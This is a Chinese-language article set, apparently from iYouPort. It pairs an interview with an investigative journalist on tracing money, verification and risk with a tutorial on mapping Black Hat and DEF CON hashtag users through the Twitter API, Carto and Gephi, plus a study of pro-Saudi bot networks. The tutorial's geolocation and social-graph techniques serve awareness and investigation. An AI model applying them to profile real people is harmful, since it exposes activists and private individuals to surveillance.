这种共同语言对我们有很大的帮助。这些人因为贸易而走到一起，钱也会转手。这让我们有机会绘制出他们周围的总体情况，这个世界一切都围绕着钱。

你还教授记者和公民活动家如何跟踪金钱的轨迹。为什么这对你很重要？

PR：我教人们追踪资金的技巧 —— 记者、活动家，我教给他们跨境有组织犯罪的运作方式，以及我们如何追踪它。我教他们是因为我希望他们能使用这些技能。我希望有更多的不法行为被曝光。我不希望这只是RISE项目的十二三名记者的事，因为我们的能力有限。我们希望有更多的人去做。

📌 我们的手册里有明确的实操案例，让用户可以利用，我们不只是介绍学术知识，这是 “真材实料”。我们还组织了关于如何使用所有这些数据库的教程。

我们甚至会在我们发表的报道中附上其他关于我们如何创建它们的背景故事，因为我们相信公众应该尝试复制我们的方法，并在我们的数据中找到新的调查线索。

这是扩展调查性报道范围的事：我们交出我们的工具。有时候，我的同事会说：“……但是，我们应该非常小心地公开这些工具，因为如果公众掌握了这些工具，每个人都会去做调查性报道。” 如果每个人都做调查性报道，那就太好了！我经常跟他们说：“有太多重要的故

事我们不能讲，如果别人能讲，那总是好的。这甚至不是抢我们的工作，因为外面有很多事要做，我们永远不会没有工作。”

有趣的是，当你分享了你的技能的那一刻，当你对你的过程透明化的那一刻，使用这些技能的人就会不断地回到你身边，因为他们希望你为他们的工作担保，他们希望你与他们合作。

这就创造了更多的人脉，所以开放自己的技术其实为你创造了更多的机会，不要只是守着你自己的工具。

很多人联系你，告诉你新的故事或新的事实，因为他们看到了你发表的东西。你如何决定是否跟踪这些线索？

PR：我们总是对那些想给我们提供信息的人持开放态度。有时人们会通过我们的 Facebook 页面或RISE网站上的联系方式与我们联系。我们总是倾听人们的意见 —— 有时他们不能很好地表达自己的想法，不能很好地解释故事，但可能还是有一些有价值的信息可以给出。当然，有些人表达得很好，但他们告诉你的东西是没有价值的。有时候，你不得不浪费一些时间。如果你想真正跟着金钱走，你就不能不浪费一些时间。

我们还要评估的是给我们提供信息的人的自身利益。📌 很少有人仅仅是好心人，想分享一些信息。我们评估他们的利益是什么，以及考察他们告诉我们的信息是否符合公众利益，当然，我们也会进行调查，将他们的信息与其他来源的信息进行比对，以确保信息的准确性。

我们不会只听信他们给我们的表面信息。其实有相当多的信息我们知道是有效的，但我们没有使用，因为我们找不到其他来源来证实。

说说核实信息的重要性？以及你们是如何去做的？

PR：核实信息是非常棘手的，我们总是检查报告中的所有事实和信息，因为我们知道，即使在数字领域，信息也可能是错误的。我们曾遇到过来自官方来源、来自政府网站的文件中的错误：上传信息的人犯了错误。如果不验证它们就会让你走上完全错误的道路。

📌 我们总是试图从尽可能多的来源确认任何信息，我们从不发布未经核实的信息。我们会检查所有的事实，所以当我们做出诸如 “这家伙在今年因这一项罪行而被定罪” 的肯定时，我们会附上该说法的文件。当我们做出申明时，我们会说，“这个申明是基于这些文件和这

次采访”。

我们总是有一个正式的消息来源，当然，我们也要（如果可能的话）向有关人员核实我们的信息，但在大多数情况下，我们会自己核实。有时候，我们调查的人不想和我们说话，所以我们会给他们时间考虑。我们不只是今天打电话说：“听着，明天我们要发表这篇关于你的文章，所以你必须在明天之前给我们答案。”我们给他们至少两周的时间，如果我们不能接近他们，如果他们不想在电话里和我们说话，我们就给他们发邮件。我们在 **LinkedIn** 上或 **Facebook** 上或任何我们能找到他们联系方式的地方联系他们。我们努力确认一切。

对调查记者来说，核实数据以及取证的能力是一项非常重要的技能。你能详细说明一下吗？您是否会培训人们使用这些技能？

PR：在过去的几年里，数据新闻确实对我们非常重要，而且其重要性还在不断增加。如果没有这些技能，你就无法进行彻底的调查报道：数据收集、数据分析等等。

我们组织培训课程，让来自不同国家的调查合作者和视觉艺术家、黑客一起参加。我们不一定希望每个记者都变成黑客或视觉艺术家，这是不可能的。但我们希望在调查记者或研究人员与黑客和视觉艺术家之间建立桥梁。这样黑客和专家获得了调查技能，记者也获得了一些创作技能，这种合作创造了一种新型的新闻。

📌 这不是记者变成黑客的问题，而是记者与黑客、活动家和艺术家合作的问题。是合作 —— 通过与他人合作来丰富你自己。

「图」

「图」

作为一名调查记者，你要承担很多风险。你认为一个人应该在多大程度上修改自己的职业道德标准来揭露不法行为？

PR：我们正在进行的最艰难的讨论之一确实是关于道德的。道德在不同的文化中有不同的定义，当你进行跨国报道时，这一点很重要。

我们观察到了这一点，我们也从犯罪分子那里学到了很多。犯罪分子认为他们在遵守自己的道德规则。他们认为自己的行为是合乎道德的；例如，如果他们信守承诺的话。他们通过一些更高的利益或其他利益来证明自己的行为是正当的。

📌 就记者而言，我们的道德规范是基于公众利益的。我们所做的事必须符合公众利益。我们尽最大努力保护我们的消息来源，并不断学习更多的保护方法。但是，我们在这方面的做法可能还有待改进；例如，我们的通信系统需要改进。我们需要比我们目前的做法更好地保护消息源。我们从黑客那里学到了很多关于保护消息来源的知识。

- 保护消息来源非常重要，如果您不是吹哨专家，那么至少应该掌握《简易吹哨平台传输泄漏数据：洋葱汤指南》

为了获取信息而撒谎是否道德？是否有你不愿意跨越的界限？

PR：我们尽量不为获取信息而撒谎，但这并不总是可能的。如果揭露不法行为符合公众利益，我们有时会撒谎，会去做卧底。

我撒过不少谎：比如说去卧底，假装购买被拐卖的人。而且我觉得这是为了做好事。然而，即使这样也是非常棘手的。这的确是为了一个好的事业，但我当时不明白的是，我正在成为问题的一部分。

我对布加勒斯特和其他地方的人贩子买卖人口的报道让公众很感兴趣，但这根本没有解决问题。在买下一名妇女后，我把她带到了贩运受害者的庇护所。我想，“好吧，这很好，她现在安全了。她可以去上学， 她会有一个正常生活。”但我错了。庇护所系统只为她提供了有限的援助，然后她又被扔回了街头。

对我来说，这是一个伟大的调查报告：有一个好的结果，一些人贩子被逮捕 ..... 但是，他们只被监禁了相对较短的时间，一两年，然后他们就继续贩卖人口的业务。

- 不是所有调查都能直接获得变革式的动力，但积累非常重要，真相永远都是进步的基石。

我们一般不为信息付费，但在一些你无法通过其他方式获得信息的国家，我们就必需付费。我们试图做的是一直进行这种道德辩论。每当我们需要做一些不同于我们通常所做的事时，我们就会进行讨论。

问这样的问题，“我们必须对这些人撒谎。我们为什么要这样做？是否有其他方法可以获得信息？这样做是不是走了一条不道德的捷径？”我们试着辩论这些问题，最后得出一个结论。它可能是也可能不是最好的结论，但我们总是在讨论道德问题。

你和你的组织曾几次被告上法庭。你对诉讼的风险有什么看法？你会给其他正在报道当权者和机构腐败内幕的调查人员什么建议？最大的

风险是什么，他们应该如何应对？

PR：有各种不同的风险程度。当你报道犯罪分子和腐败的政客时，显然存在人身风险：他们可能会试图伤害你。📌 在这种情况下，我能给出的最好的建议是成为联盟网络的一部分 —— 在这方面，如果你能属于一个跨境联盟网络，那就更好了。当调查对象意识到有关他们的信息被跨境联盟网络的许多人所掌握的那一刻，他们就知道伤害你不会有任何好处，因为他们将无法摆脱追踪调查。联盟网络可以帮你分散风险，这非常重要。

当然，你还得采取其他措施。即使你因为是联盟网络的一部分而相当安全，也要采取进一步的预防措施，📌 比如每当你遇到危险的人时，都要有一定的监控协作：你可以让你的同事带着长镜头，从远处拍照。

📌 这不仅是因为身体上的风险，还因为你要采访的人可能会试图贿赂你，并且可能在之后声称他们确实贿赂了你。他们可能只是把一个信封塞进你的口袋里，里面什么都没有，然后报警抓你。

📌 你永远无法完全消除风险，但有各种方法可以减轻风险。你可以在身上装一个录音设备，传送给外面的同事。你可以把手机开着，设置成录音。有时我们的记者在遇到危险情况时，会使用GPS追踪器。

还有诉讼风险，法律风险等等。我们跨国经营，在不同的国家发布我们的报道，所以我们可能在不同的司法管辖区被起诉。我们已经在美国、拉脱维亚和俄罗斯受审，这些案件都是由同一个人挑起的。

📌 在这种情况下，真相是最好的辩护。如果你把你的调查报告建立在有明确记录的事实基础上，你就可以随时显示你的正义。你可以证明你做得很彻底，你的主要目的不是要伤害任何特定的人。你开始调查的目的不是为了毁掉某个人。你的调查是为公众利益服务的。

这也是为什么你确实需要和你的报道对象交谈，因为他们中的一些人至少会看到你是以专业的方式在工作，而且你对他们个人没有任何偏见。

对于暴露个人资料的相关被起诉诽谤的风险，你的做法是什么？

PR：关键是，比如要报道黑帮的所作所为，你就不能报道黑帮老大的女儿，不能报道他的妻子。即使那里有更多“娱乐性”的故事，但我们必须避免报道那些没有直接关系的人。

📌 我们的业务不是寻找个人污点，我们只是在做调查记者的工作。正因为如此，我们现在已经受到了某些黑道人士的尊重。当我们给他们打电话时，他们会接我们的电话。他们会和我们交谈，我们可以在那时向他们确认一些信息。

你必须证明你做的是好事。在“有组织犯罪和腐败报告项目”中，我们有额外的一层保护：诽谤保险。无论做什么，都在我们的诽谤保险范围内，这可以使我们免受伤害，并使我们能够接触到优秀的律师。当然，这也意味着，我们需要遵守最高的报告标准。

如果有人指责你不中立，因为你从基金会那里拿到钱，而这些基金会可能与你应该揭露的人有联系，你会如何处理？

PR：资金来源是调查性报道的一个大问题。这就是为什么我们要披露我们的资金来源，所以我们可以说：“是的，我们从这里、这里和这里获得资金”。我们试图使我们的资金来源多样化，并说：“不仅从美国人那里获得资金，我们还从欧盟和丹麦获得资金。”但这并不一定有助于说服那些坚持相信我们是特务的人。

最重要的是，我们尽量让所有的报道都有来源，并且在报道中非常透明。如果有人指责我们，我们只是告诉他们：“去读报道。请查阅我们随报道一起发布的文件”。我们对这类指责的最终辩护是，我们是透明的，我们把所有的文件都贴在网上，让人们知道这些文件来自公共记录。

📌 我们的信息不是从中央情报局或军情六处、也不是从特勤局或其他任何阴暗的实体获得的。我们总是利用公共记录工作，你或任何人都可以做同样的工作。

我们教人们如何调查，因为我们希望尽可能多的人去做捍卫真相的事业，并使用我们的工具。

接触罪犯行为总是会带来很大的压力，你永远不知道会发生什么。你是如何处理的？

PR：压力来自各种方面。有时我们也会因为受到起诉等威胁而承受压力。幸运的是，我们是一个团体，我们总是可以互相倾诉。我们有些人已经患有创伤后应激障碍，在一些国家，我们已经为他们寻求专业帮助。我们可能应该考虑得到更多的心理协助，因为从长远来看，这项工作是相当累人的。

当一个新的调查记者或活动家加入你们的团队时，你会检查他们如何使用安全工具吗？你有没有说过“我不希望你这样工作”？

PR：当新来的记者不熟悉任何工具时，我们会给他们分配非常小的、不会危及任何人的任务，比如收集注册公司的公共记录。我们会试着让她或他了解这项工作的重要性，这些文件只是完整拼图中的一小块。如果她或他想获取其他类型的文件，首先要知道如何处理这些文件。然而，我们的安全协议还远未完善。

在我们的联盟网络中，有一个了不起的塞尔维亚人。他的安全技能非常好；他时常培训其他成员。他培训我们的人基本安全知识，非常有用 —— 当然，他还教给人们使用其他工具。

在一些国家，即使我们有黑客合作者教记者如何做，帮助他们做到在线匿名调查，而其他记者却不会一直按照黑客的指导工作，他们只是短期使用了一些安全工具，然后再次回到他们以前的不安全做法 ……

你能做的只有这么多。例如，事实证明，我们在阿塞拜疆的同事被当局监视了几个月 —— 她家卧室的墙上有一个隐藏的摄像头！她和男友做爱的视频被放到了网上，以威胁她停止调查。

她说：“好吧，我可以在电脑上使用这些花哨的安全工具，但他们就会在我的卧室里安装一个摄像头，拍摄一切。他们只要在我的窗外装一个摄像头，就可以偷窥屋里发生的任何事，那么这些安全有什么用呢？”

📌 我们告诉记者，没有什么解决方案是完美的，但我们的想法是把最终的风险降到最低。我们可以为自己的安全做出改变。

你们可能会决定不发布哪些类别的信息？

PR：我们可能会有一些消息来源的录音，他们不希望自己的声音被识别出来。那我们就不把他们的录音发布到网上。📌 我们不会发布能识别我们消息来源的任何信息。这是我们唯一避免发布的信息。

当然，我们也不会发布基于传言的信息。我们有时可以从各种情报机构获得报告，但通常那种信息质量很低。我们不会使用它。我们阅读这些传言，并评估是否有一些有趣的东西，也就是说这其中是否有线索可以进一步追踪，我们可能会进行调查，但我们从不公布传言本身。〇

—— 未完待续 ——

原文

推特标签讲述的故事：解码秘密（8） - iYouPort

解码秘密

使用主题标签，您可以找到什么？

「图」

「图」

欢迎回来！

如果您错过了前面的内容，可以在这里回顾—— 本指南的主体在前4集中：

- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（1）- 哪些方式可以找到您想要的东西？》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（2）- 开始收集和处理数据》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（3）- 理解数据和可视化》
- 《如何获取、挖掘、分析各种来源的调查数据完整指南：解码秘密（4）- 确保真实和确保道德的技巧》
- 《“信息就是我们的货币”：解码秘密（5）- 公民获取信息权利运动》
- 《观察那些难以观察的东西：解码秘密（6）- 当公民调查遇到艺术》
- 《跟踪金钱的走向，追踪腐败和犯罪—— 解码秘密（7）》

Twitter 是一个分享和接收新闻、宣传活动和实时传递信息的有用平台。从会议、音乐会、到示威游行，Twitter 对记者、活动家、非政府组织、企业、名人、新闻门户和公众都很方便。

但人们对监控的担忧很大。推特标签是一个非常有效的信息归档、汇集和查找的功能，当然。这个功能也有其另一面。📌 标签本身和使

用标签的人很容易受到"社交媒体情报监控"和"社交图谱连锅端"的影响。

本文旨在展示使用标签进行调查的可能性，同时，围绕可能的威胁提高人们的防御意识，以便用户能够在如何使用 Twitter 方面做出明智的选择。

这里将聚焦于2016年7月30日 ~ 8月7日期间的两个监视技术会议，即 Black Hat 和 DEF CON。通过提取发布到 #Bhusa 和 #Defcon 这两个标签的推文样本，使用 Twitter 的API、地图工具 Carto 和可视化平台 Gephi 来分析参加这些会议的用户账户，并绘制他们的位置和关系网络。

通过主题标签监控会议

当点击目标事件的标签时，可以找到所有使用该标签在推特上发布活动的用户账户，无论他们是否参加。

如果用户分享的照片或视频不是该活动中的官方会议资料，那么很可能是他们亲临现场了。如果他们分享的地点与会议地点相同，或者他们的名字出现在目标活动的演讲者或参与者名单中，也是一样的证据。

📌 一旦你确定了一个会议参与者，也可以通过分析他们关注的人和他们的追随者，来了解用户的背景和关系网络，如果他们没有锁推的话。

使用开源情报工具，可以通过监测一个标签，分析人们的推文、关注者和他们关注的人，了解参加特定会议的参与者的背景和网络。

📌 这不仅对展示一个标签的调查可能性很重要，而且，还可以展示在 **Twitter** 上监测与会者和暴露他们的关系网络是多么容易。如果这是一个抗议活动，连锅端就这样实现了。

对一些人来说，参加会议似乎无伤大雅，但是在很多国家并非如此。许多国家出于各种原因实行限制；在某些情况下，已经记录了严重的影响。

从英国政府拒发签证、到2008年突尼斯人权律师在参加阿拉伯自由新闻论坛的途中被拦截登机。2003年，41人在去参加会议的路上被苏丹政府逮捕。2016年，一名巴勒斯坦记者在前往萨拉热窝参加欧洲记

者联合会的途中被以色列军队逮捕。

这篇文章的目的是为了让人们意识到，在参加活动时公开发推文应该非常小心！借此绘制出活动家及其关系网络是多么简单。

📌 任何与捍卫人权和正义运动有关的会议都需要制定详细的安全准则，其中必须包括这条内容 —— 不允许参与者在社交媒体上公开讲述自己的参与，不允许现场拍摄照片上传互联网。

本文并不想通过将个别参与者作为案例研究来暴露他们的关系网络。于是，我们决定将重点放在涉及监控行业的公司参与者的活动上。Black Hat 和 DEFCON 是两个最相关的、最具有时间敏感性的事件。

收集推文

📌 在会议主题标签上，推文可以分享以下信息：活动日期、活动地点、活动内容和资源、活动中的照片和视频、对活动的看法、@他人的推文，追踪关系网络等等。

Twitter 的API提供了一种访问、读取、写入和搜索 Twitter 数据的方式。这些数据包括推文、标签、用户账户、收藏夹、位置和其他类似数据。

API还允许用户通过标签、关键词、用户账户和特定地点实时监控推文。以下550条推文是通过 Twitter 的API收集的，并导入到CSV文件中。在这里通过 Google Docs 查看电子表格的完整内容（两个会议的完整数据集可以在第四张表的 “total tweets” 下找到）。

在电子表格上，可以看到以下信息。

「图」

「图」

这包括：

- 发布日期
- 推特用户
- 推文内容
- 位置时区 —— 这可以在设置中找到。它通常是根据计算机设定的时区来设置的。它可以手动更改。
- 标签

- 位置资料，即用户在其资料上设置的位置。
- 纬度和经度，根据用户的位置设置。

还可以通过转到 Twitter 的高级搜索选项来手动搜索和收集这些推文。

「图」

「图」

然后，您可以输入要监视的主题标签、关键字或用户名，以及特定的短语或日期范围。在这里的情况下，我们将搜索会议的日期。

「图」

「图」

然后交叉引用位置时区和位置个人资料信息，以验证用户的实际位置。

通过 Carto 对推文进行定位

使用 Carto（以前称为 CartoDB），一个免费工具来创建交互式地图，对提取的推文进行地理定位。当您试图了解目标事件的参与者或分享其标签的人的位置时，这将是非常有用的。

为此，将上述 CSV 文件上的经纬度字段导入 Carto，Carto 会自动生成下图所示的地图。

「图」

「图」

过滤推文

在对推文进行地理定位后，可以对其进行分析，以找到参加特定会议的人员和/或公司的具体账户。这可以通过快速的文本搜索，通过提取 CSV 文件中的数据找到所需的信息。

在这个案例研究中，为了强调如何通过社交媒体对活动家进行社交图谱化，我们将使用一家监视技术公司作为小白鼠。从监视行业指数（SII）中出现的公司名单里寻找任何一家公司，该指数是世界上最大

的监视行业数据和文件的公开资源。它是基于记者、活动家和研究人员在世界各地收集的数据。

「图」

「图」

搜索这些公司的 Twitter 账号的目的是为了了解他们是否有代表参加当前的会议，以及了解他们的关系网络（关注者/追随者）。

从结果中可以看到，有两家公司参加了 #bhusa 和 #defcon 大会。其中一家公司是 Blue Coat，他们的推特名称为 @Bluecoat，如下图所示。

「图」

「图」

Blue Coat Systems Inc. 总部位于加州桑尼维尔，根据他们的网站，“每天为15,000家机构提供先进的网络、安全和云保护”。 有关该公司及其提供的设备和基础设施类型的更多详情，可在 Surveillance Industry Index 数据库中找到。

这里关注的第二家公司是 Check Point，推特账户 @CheckPointSW。

「图」

「图」

Check Point 位于特拉维夫，销售网络监控产品。

以下来自 Blue Coat 官方账号的推文足够证实他们参加了此次会议，称他们在那里有一个展位。

「图」

「图」

使用公开的数据库，如监控行业指数，对调查很有帮助。在这个案例中，可以找出参加 #bhusa 会议的监视技术公司，因为他们在推特上分享了标签（#BHUSA）。

Twitter 的关系网络

有很多方法可以了解一个特定用户的关系网络，他们和其他 Twitter 用户之间的关系。其中一种技术包括收集和绘制出他们的所有追随者和他们关注的人。这可以通过使用 Twitter 的API来完成 —— 值得注意的是，它对一个特定用户的关注人数或粉丝数量没有限制。其他方法包括通过监控用户之间的 “转发”、“提及” 和 “标签” 来了解用户之间的关系网络。

在这种情况下，我们要监控之前确定的特定用户。@Bluecoat 和 @Checkpointsw，为此使用可视化软件 Gephi 来帮助了解这两个账号的关系网络。

Gephi 是一个免费的开源工具用于数据分析、探索和理解图形网络，用户可以调整图形的结构、形状和颜色，以揭示隐藏的模式。

如何在 Gephi 上创建社交图谱

通过其应用程序管理设置在 Twitter 上创建一个应用以获取凭据，然后将其添加到 Gephi 中。

「图」

「图」

下载 Gephi。

然后将一个名为 “ Twitter Streaming Importer” 的插件添加到 Gephi，可以通过转到 Gephi，依次单击 “工具”，“插件” 和 “可用插件” 来完成，以下屏幕截图演示了此过程：

「图」

「图」

接下来安装 “Twitter Streaming Importer” 插件，然后从您之前创建的 Twitter App 中添加凭据，如下所示：

「图」

「图」

完成此操作后，添加您希望追踪其关系网络的 Twitter 用户。在本案例研究中使用的是 @Bluecoat 和 @Checkpointsw。您还可以如下添加特定的关键字和主题标签：

「图」

「图」

「图」

「图」

最后一个重要步骤是选择 Gephi 揭示关系网络的方式。这个过程包括三个选项。

- 用户网络 —— 这将通过转发和提及创建一个基于用户关系网络的图。
- 完整的 **Twitter** 关系网络 —— 这将创建一个完整的推文活动图。该图将包括推文、用户、视觉媒体、标签和链接。
- 标签网络 —— 这将创建一个仅基于标签的图表。

本教程将选择用户网络选项。

Gephi 将开始创建 Twitter 用户的网络图，它将看起来像下图。下面的圆圈称为节点，它们代表 Gephi 收集到的所有 Twitter 用户。线条代表圆圈之间的连接，这些是 Gephi 通过提及和转发创建的用户之间的连接类型。

「图」

「图」

在 Gephi 上创建的同一网络的另一个视图：

「图」

「图」

所有橙色节点都是通过 Gephi 收集的 Twitter 用户。正如您在上面看到的那样，@checkpointsw 和 @bluecoat 有一个更大的圈，在这种情况下，这是由于他们是关键术语，也是代表他们在这个网络的中心位置。绿色的边反映了“提及”@checkpointsw 和 @bluecoat 的

Twitter 用户。红色的边反映了“转发” @checkpointsw 和 @bluecoat 的 Twitter 用户。

从这个图中，您可以开始应用过滤技术和进一步的分析来更好地了解该关系网络。例如，您可以很容易地找到与这两个账户有联系的其他用户。同时也可以找到在其网络中最有影响力的用户。

📌 这也是追踪调查信息战水军网络的有效方式，您将很容易看到哪个或哪些账户是信息战的中心，他们牵动了多大范围的活动。

- 在这里看到一个案例《政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图》

这篇文章的重点是收集数据，下一步就是开始过滤和分析数据了，以更好地了解该关系网络。Marc Owen Jones 在他的调查中写到，每天至少有**10000**条推文来自于在推特上传播亲沙特宣传的可疑账户。以下是他的调查，深入分析 twitter 标签和来源。

📌 不要错过关于挖掘推特等社交媒体的一些工具和技巧：

- 《实时新闻地图、Twitter 情报分析、电话号码追踪、电子邮件侦查及其他：新生情报工具（11）》
- 《如何只用电子邮件地址追踪到 Twitter 帐户？》
- 《社交媒体照片也能找到元数据痕迹以实现追踪，这件事怎么做？》
- 《从跨平台跟踪到心理分析：社交媒体情报收集简易指南》
- 《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》
- 《社交网站上进行新闻收集和监视的基本指南》
- 《如何快速找到你想要的东西：追踪数字证据的小技巧》
- 《深挖推特工具超长列表、寻找独立新闻源、物联网Dorks、泄漏数据、挖 Telegram、机器学习数据集、大牌流媒体资源 …… 新生情报工具（18）》
- 《反向面部识别、实时开源情报、推特可疑账户、网络摄像头地图、挖坟 ……新生情报工具（17）》
- 《深挖推特：如何从推文中提取准确的元数据？》
- 更多内容见 列表-5 “开源情报”

Marc Owen Jones 是英国埃克塞特大学（Exeter University）阿拉伯和伊斯兰研究所的研究员，还是巴林观察（Bahrain Watch）的研究

员兼主任，巴林观察是一个从事海湾地区调查透明度工作的非政府组织。在这篇文章中，Marc 讲述了他发现数千个虚假 Twitter 帐户的情况，并调查了这些帐户对公众辩论产生的扭曲影响，包括他如何识别这些帐户，该信息战行动在该地区的规模可能巨大。

「图」

「图」

国家当局、全球公司、情报机构和西方公关公司，越来越多地以创新的方式使用镇压革命战术和信息控制策略，使通过使用社交媒体实现技术解放的可能性受到严重损害。

社交媒体的危险是实实在在的。从利用社交媒体传递恶意链接以识别活动家的身份、到利用酷刑获取活动家社交媒体账户的登录信息，技术为政权的监视和控制提供了"多种机会"。

尤其是，像棱镜这样的大规模监视技术，可以追踪网上任何信息源，反映了个人社交媒体分享如何促进国家机构的信息干预。

然而，除了作为个人信息的主要来源外，社交媒体仍然是接收实时信息的重要途径，尤其是在审查制度严重的国家。因此，各政权防止未经审查的信息传播的策略各不相同。

例如，土耳其有时会在全国范围内粗暴地封锁 Facebook、YouTube 和 Twitter 等热门服务，而巴林则能在特定的 “麻烦地点” 实行互联网宵禁。其他的策略则更多地集中在传播宣传上，而不是封锁 —— 比如中国当局声称的 “占领舆论场”，或者亲普京的水军/僵尸网络用来在社交媒体上传播虚假信息等等。

在中国，一位哈佛大学的学者估计，中国有多达4.5亿个社交媒体账户是由亲政府的 trolls 运营的，他们通常被称为 “五毛”。在巴林，也有有据可查的说法，在网上出现了国家认可的网络警戒、谩骂和恐吓。

【注：“网络警戒” 类似于中国的 “自干五”，没有证据显示他们受政府雇佣，但他们的行为的确在满足政府的需求。】

工业规模的信息战

然而最近人们发现，波斯湾的社交媒体虚假信息的程度比预想的要惊

人得多。早在2016年6月，Twitter 就通知我，在我向他们提交调查报告后，他们已经暂停了1800个虚假账户，因为这些账户出现了类似垃圾信息的活动。

我进行的调查显示，数千个 “假” 推特账号在波斯湾周围用反什叶派和反伊朗的宣传来污染标签。许多这些账户都在宣传反映伊斯兰国的言论，如把什叶派打造成 “拒绝真正伊斯兰信仰的人”（Rawafid）。

这数千个账号在一天中的某些时段，每小时会产生数百到数千条推文，迅速冲击出各种标签的合法推文，包括#巴林、#也门、#沙特等。数据显示，每天至少有1万条推文是由这些可疑账号发出的。

虽然其中有数千条推文含有教派言论，但这些可疑账号的推文大多集中在沙特地区的标签上，从 #利雅得 到 #AlQatif，内容一般都是对沙特政府或沙特外交政策的赞美。不过，这些推文中也有相当一部分被用来攻击 #巴林 和 #也门 的标签。

「图」

「图」

屏幕截图显示了污染#Bahrain标签的单个推文

Isa Qassim 的推文，也门和巴林

当巴林著名什叶派教士 Isa Qassim 于2016年6月被巴林当局取消国籍时，我第一次注意到这些可疑的账户。

这种令异议人士成为无国籍者的策略在巴林并不罕见。在 Qassim 的案件中，他们指控他在巴林制造极端主义教派氛围。Qassim 的遭遇表明，当局试图将巴林的反对派妖魔化。很快，Qassim 的出生地 Diraz 村爆发了抗议活动。非政府组织 “巴林观察” 的一项研究显示，当局对该村进行了刻意的网络宵禁，这一策略旨在防止人们在互联网上发表不同意见。

同时，在推特上搜索任何与 Isa Qassim 有关的结果，都会发现数百条完全相同的推文，这些推文来自表面上看起来像阿拉伯人的账户。

这些不是转发，而是看起来像是被复制和粘贴的推文。用英语和阿拉伯语写成，全都是一模一样的。

这些推文，显然都是快速连载的，这说明是故意发送垃圾信息，让那

些有兴趣搜索 **Isa Qassim** 信息的人相信他确实是 “一个什叶派恐怖分子”。

然而，在进行初步搜索后，很明显，这些可疑活动并不限于与 Isa Qassim 有关的标签。相反，在其他标签上也有类似的活动，如 #Bahrain 和 #Saudi。很快，深度关注 #也门 标签的活动人士也提醒我该标签上的可疑活动。这次行动比最初评估的规模更大。

模式分析以识别可疑帐户

为了确定机器人或类似垃圾信息的推特操作的规模，我分析了 Twitter 上不同标签、不同日期的数十万条推文。

为了本文的目的，我从这些案例中选取一部分。使用 Google Add On 从 Twitter API 流中提取推文，推文被放入 Google Sheet 中。

所提取的数据除其他信息外，还包括：一个账户的创建日期，其粉丝数量，其位置，以及其个人简介。

Tweet 数据还显示了一些重要信息，比如该推文是从哪个平台发出的。通过执行数据排序和其他有用的功能，让我能够查询数据，以便于识别可能暗示机器人或垃圾信息的模式。

📌 例如，如果你按照账户的创立日期进行排序，就可以识别出有多少发布相同材料的推特账户是在同一天创建的。

这些模式对上面提到的所有标签都是如此。重要的是要记住，被刮取的推文将是那些对公众可见的推文。

数据

2016年6月21日，我查询了 Twitter 的API，查询 “Isa Qasim” 这个词。我收到了628条推文的返回。其中有219条是完全相同的；也就是说，推文的文字全部都是 ‘#Shiite #terrorist Isa Qasim，telling followers to annihilate #Bahrain’s Security Forces’。

6月22日，我从 Twitter 的API中请求在 #Bahrain 标签下的推文。这次返回了12小时内的10887条推文。

7月10日至12日，我查询了 Twitter API 上的 “也门” 标签。在大约48小时内，从 Twitter API 中提取了11,541条推文。

对这些推文进行分析，发现了一些模式，这些模式表明，毫无疑问，这些账户与某个机构、个人或组织有联系，目的是为了宣传某些观点。其中一些模式表明，这些账户可能是故意自动化的，但也有可能是由在同一组织/机构工作的一群人操作的。

1、独立的推文数量有限，每条推文都是由不同推特账户循环重复发布的。

2、每个可疑账户的每一条推文，除了他们的第一条推文外，都是从 **TweetDeck** 发出的 —— 这是一个受市场人士青睐的程序，允许人们从一台机器上管理多个账户。

3、对新账户的检查突出了一个有趣的模式。其中一个账户的第一条推文就包含了一个不同寻常的阿拉伯语成语、谚语或短语。这句成语是从 “Twitter Web Client” 发出，而其余的推文则从 TweetDeck 发出。我在2016年6月23日注册的约10个账户上进行了测试。其中一个例子是 ’البس يحب الخناقة’，据悉它的翻译是 “People love their oppressors lit: cats love their stranglers/cat love to fight”。

4、所有的账户都有类似的、低数量的粉丝和他们关注的人。往往在30到60个关注者之间。他们中的大多数人还关注特定的账户，主要是位于沙特的新闻网站，从事类似的宣传。

5、所有账户都是在某些月份的连续几天内分批创建的。例如，在 #Bahrain 标签的样本中，大约101个账户是在2013年8月26日、27日、28日或29日创建的。2014年6月6日、8日、9日、10日和11日创建了约200个账户。这些数字再次表明，这些账户是以协调的方式分批创建的。

6、在同一天创建的账户往往有类似的推文数量。例如，2014年2月2日创建的账户都有约400条推文，2014年3月创建的账户都有约3500条推文，2014年6月创建的账户都有约7000条推文。显然这个数字会发生变化，然而账号创建日期和推文数量之间的关联性很有意思，尤其是考虑到老账号的推文数量其实更少。

7、每个被计数的账户的创建日期也定义了它的简介信息。这将表明，没有人更新旧的简介。比如2016年创建的账号，与其他账号不同的是，有简介文字和头像。2016年6月以后创建的账号也有出生地信息，以及用户输入的位置信息。这个位置总是沙特阿拉伯的一个城镇或城市的名称。当然，填写这些简介数据是为了让账号看起来更可信。

8、当你复制其中一条阿拉伯语推文并将其粘贴到 Twitter 的搜索工具中时，你会得到 Top Tweet，在这种情况下，通常是第一个发推文的人。几乎总是发生的情况是，第一个发推文的人也是可疑账户之一。特别是，最近的很多推特信息似乎都来源于2016年设立的那些可疑账户。

9、确实出现的简介信息是相当通用的。通过做一个基于语料库的粗略汇总，在去掉很多常见的介词后，最常见的词是 “Allah”，以及其他各种宗教成语或寒暄语。这或许是为了传达一种虔诚感觉。个人资料图片和图像往往比较普通，通常由略带像素的传统打扮的海湾男子或儿童组成（在中东地区的展示图片并不少见）。前《卫报》记者 Brian Whitaker 对这些进行了更详细的调查，他指出，“另一个在简介中引用 Allah 的账号，显然属于一位名叫 Mazher al-Jafali 的宗教绅士，但其资料图片却来自 Omar Borkan al-Gala 的Facebook页面，他是一位居住在温哥华的伊拉克出生的男模”。

「图」

「图」

词云提供了粗略的分析，最常见的词是‘Allah’

「图」

「图」

注意相同的推文，相似的帐户创建日期（最右边），以及它们都是从TweetDeck发出的特点

他们发什么推文？

这些推文的内容根据标签的不同而有所不同。大多数使用 #沙特 的标签，并包含卫星广播公司沙特24的视频链接。推文中的文字通常都是对沙特政府进行赞美的，或者赞扬沙特在也门的干预，都指向亲沙特的宣传。

